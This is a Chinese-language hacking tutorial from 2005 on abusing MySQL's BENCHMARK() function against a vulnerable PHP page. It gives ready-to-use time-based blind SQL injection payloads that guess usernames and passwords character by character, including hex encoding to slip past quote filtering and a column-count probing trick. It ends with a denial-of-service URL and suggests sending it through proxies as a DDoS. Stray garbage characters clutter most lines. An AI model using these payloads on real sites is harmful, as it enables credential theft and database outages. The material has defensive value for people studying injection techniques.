MYSQL中BENCHMARK函数的利用 7 n" _ u/ ]% b9 ?) f; V- v0 H
本文作者:SuperHei
8 Y" f* I1 C/ r& x4 p* p文章性质:原创
1 v- `- P" W8 h( u9 ]6 `, T' [发布日期:2005-01-02& z7 j& m6 Q4 i$ c% T* L3 @
完成日期:2004-07-09 8 V1 ?. d$ F* J% n/ J0 i; [
第一部
0 ~0 }- I. B, E: }5 Z: d* U& ?; d; ]' t; b' r. P# h
利用时间推延进行注射---BENCHMARK函数在注射中的利用
$ d1 r) ?& U* k: p, [* Y5 _6 P3 i- b$ G9 q
一.前言/思路+ ?! z- y9 q# Z7 w" w
- c# p: a5 d6 U. M 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。4 V( D2 J- u% Z* u0 }2 A/ `
. L4 {' a% J" n3 d' u$ B! N1 V
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。) @% o, ^/ ~; K, r7 V. e
9 d1 g$ A8 n4 i# m9 {8 c二.关于BENCHMARK函数
0 s2 L( `- @# G( t% H. P
0 _1 J7 \% a, v" a$ Y0 R 在MySQL参考手册里可以看到如下描叙:
5 u" i, j& g/ E, f% E/ V9 R' n: `3 }/ z( ~) W. S
' q# B+ Y& w$ ^
--------------------------------------------------------------------------------
% E# z5 W2 D8 m" }% s2 }( u. h
+ _1 O8 m4 R5 q* T3 S& sBENCHMARK(count,expr) ; a) m& y4 J9 }
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 & u- W8 e! N7 o6 K( f" ~
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
- T' t$ R3 f4 J$ B$ [- s( Y- k+----------------------------------------------+
: Q3 k2 |# F1 p+ L7 a' o) i| BENCHMARK(1000000,encode("hello","goodbye")) |
5 m' n# e- w. Y$ d+----------------------------------------------+ 1 b. u2 [" q; o- p; m- u- g' B% b
| 0 |
9 `' c! D: V, o, f+----------------------------------------------+
) _ r$ t3 ^6 W" c5 s1 row in set (4.74 sec) ) k# O! E( h$ q' W% x6 [
. V( O7 q6 I' ^& ~/ z/ ]6 d$ ]: K8 c2 B报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
6 J9 v. { Q( C/ [0 m6 l$ U$ q
& _9 ?# B5 w! _0 M( D7 q& P
$ w2 X' D7 D% a! P0 I--------------------------------------------------------------------------------
9 J- W0 v! C l$ L% v
% S) F. N- P1 ~) s3 U& v. H. |9 h 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
8 x* J2 S4 ^- _4 Z) H/ c- @% b6 p* m) V0 z
mysql> select md5( 'test' );
0 e# h. Q7 g; C0 V+----------------------------------+ # A! O6 K/ w( o# @# R
| md5( 'test' ) |
& g9 Y6 }) H; `, z+----------------------------------+ 8 Z0 f' B1 d' D7 m0 Z; L
| 098f6bcd4621d373cade4e832627b4f6 |
, P, e* @6 V" r3 U' F' j+----------------------------------+ 8 L0 X/ V/ N! ~# g/ U
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
$ @4 }$ p9 _/ b8 B: K- @% C8 A0 P/ |
mysql> select benchmark( 500000, md5( 'test' ) ); - n# M5 }6 z6 m1 i2 N9 L/ @$ T
+------------------------------------+ - T: O$ M6 z' }4 O/ D
| benchmark( 500000, md5( 'test' ) ) |
% [; E0 ^+ Z3 h+------------------------------------+ 5 z0 S: x/ ~/ h4 q( i' [ I
| 0 |
# n9 b2 E2 f g; g) H6 `! ~5 V5 h+------------------------------------+
5 P4 }- N/ p. Z4 D! [1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
( i/ V8 E2 O3 Y, H) O: b & q5 j# ^( b3 F
7 e1 ~; K' s8 c3 G/ B 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 / s# P5 N4 B. ^( ^9 g( a4 p
; V+ v$ w) J, L) O: d" ~
三.具体例子
5 B: y o- ?8 Q8 Q6 x5 k7 B" N1 |: U0 E# M4 g' [4 e! r
首先我们看个简单的php代码:
2 F! J5 m5 e% o# d" [
! b4 C1 z* R7 Y& F< ?php 4 Z7 @2 A& I* g$ a
$servername = "localhost";
3 o: p( k4 [+ J0 n$dbusername = "root";
( l; c- y% Y, `, l' D4 q' s$dbpassword = ""; 5 H" e$ b* R4 m- ], G
$dbname = "injection";
2 f' Y3 F6 u- ^6 c5 v4 h+ u+ a: q) k. H( t' g
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
' C R s5 |5 \! F$ }+ s
1 _2 ?: V ]( K$sql = "SELECT * FROM article WHERE articleid=$id"; ; V( ~2 c3 X$ R3 d7 f
$result = mysql_db_query($dbname,$sql); & c2 u% v; G }" ?+ v
$row = mysql_fetch_array($result);
+ x8 _+ L# d' t" b j: }% @0 X) L+ k& f
if (!$row)
1 L f3 d9 e/ D- W0 Q5 ^8 ]{
$ H7 g( i* v" H! Y7 N" J- {! `exit;
9 `1 N5 m/ N8 B8 n/ t3 |; O}
" x3 I% K, g( k9 Z?>1 D$ D- j$ d: n4 A6 B% i. N5 p
' N1 W5 e( z( k4 M* Q" b! a; v3 e* {5 s; C+ b
数据库injection结构和内容如下:
% Z( V" q- l* V+ a3 U/ l& C" k: G: g/ O- z" {- D
# 数据库 : `injection`
7 b9 K+ K; K5 a+ F#
4 s! N5 s' g0 W0 Q0 C0 U% G
! U2 B2 M: a! c. m, H# --------------------------------------------------------
* O( K" c; n( Y; ]: @/ p
, ?) D9 j+ q7 Z#
6 j) ]0 p: p: Y0 d2 n) l# 表的结构 `article`
' M# m G9 Q0 a# u, q#
0 U' y9 X* x+ T8 b$ ?8 s
; z- G: {* ] C; P1 o% vCREATE TABLE `article` (
3 x5 p5 E. O6 e& W`articleid` int(11) NOT NULL auto_increment,
* q8 |! j+ H K`title` varchar(100) NOT NULL default '', 5 G" Q# r7 e; P6 ~/ c& Y- |1 i' P
`content` text NOT NULL,
, G% A; v! U9 CPRIMARY KEY (`articleid`) 6 K& z4 w- v+ L& z
) TYPE=MyISAM AUTO_INCREMENT=3 ;
: Z5 a3 M4 Q+ w% e0 E- s; X, F5 ]
* D/ `3 Z% y* U$ F. ?1 B# 0 D0 v( I1 f; t# B6 Q
# 导出表中的数据 `article`
7 G0 C- t/ [/ Z0 B5 g; R# . m- c6 f& J9 X- f
}7 }& e$ Z" [8 o! |& x# H- o5 F
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
8 u6 U; v5 }4 vINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); - N i. i! z# _3 r6 _
$ W! u* X* M3 D# --------------------------------------------------------
! U" a0 D% Q9 }
- ~* q5 A( V* o3 h* D' S# 7 g' H! R2 G _
# 表的结构 `user`
3 J& ~& U2 P, g#
8 P% l3 }: z) @2 @2 x9 E# T: J+ n' [ f! d
CREATE TABLE `user` (
# \+ j% o. T! Q4 _: e2 U`userid` int(11) NOT NULL auto_increment,
" ~" J U, h! S% |`username` varchar(20) NOT NULL default '', + C/ e- a- T9 |, S
`password` varchar(20) NOT NULL default '',
/ ]8 {' h8 b6 x" c+ r/ |! ~PRIMARY KEY (`userid`)
3 y2 C/ k$ e# v6 K' t) TYPE=MyISAM AUTO_INCREMENT=3 ;
* v+ o7 Y X2 g4 [: Z) F. d% T8 U- n! }6 R
# # }0 H2 C5 ]+ M5 t5 M
# 导出表中的数据 `user` 7 a: T2 B! y6 q0 L0 K& A
# 8 [" D5 f" O% O1 G4 e3 x6 R
- B; ]* M b" [+ rINSERT INTO `user` VALUES (1, 'angel', 'mypass');
! K0 f8 G# v0 k- w _0 U1 R4 e! iINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
* y9 g' B" k6 G! b " d4 \( j$ `4 d- h5 s* o
2 y1 c1 U0 W4 C- V' t 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:! g1 y% G9 W3 F
* a4 j7 h5 F9 k$ S9 |+ Q2 i3 F9 X
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
" C0 u" ]+ J6 e
- L, ?1 n( k1 x) D3 }: G3 J/ e5 K9 }2 N
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:9 m, K5 p4 ?0 u( y% A
. E; k( D o: i R: mhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
& d1 i% K% q3 v( |. ]! u T' Y$ E5 i* ~$ ?6 N
0 k% z7 c ^* j6 k/ s8 ? 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
) R, Q$ w/ I! ~; C; _3 K% S
/ F/ p2 f3 N, S1 e) k6 _ 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 7 s0 k0 l5 {4 h5 B& ]& k3 g. }
) z7 t6 ?8 j8 _% g
第二部
+ ?: s& z% X- h6 A& \, g
3 }* O+ h& ]% O. u2 L利用BENCHMARK函数进行ddos攻击 0 T5 ] f. f( l4 b. f0 g. Q* D1 O! @
" P! u, r1 H5 v! U 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:, s. p3 v+ H8 d
' h) d1 Y+ i$ \" X; z% E6 yhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))4 T% d2 w1 \8 P1 T: Q$ w+ B
6 J+ ?/ t. {* ^! @! P9 w
+ s( o+ ]) G7 E, }" T/ A& Z小结
- _; a5 y W {( y. o! }; H- Q
" t* z8 @0 ]; r6 ~1 h 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
* z: f! \) h+ R3 y S& n, _
6 U. P& V* `2 L! J! p4 u
& `8 O, ?2 ~! q. n3 Z |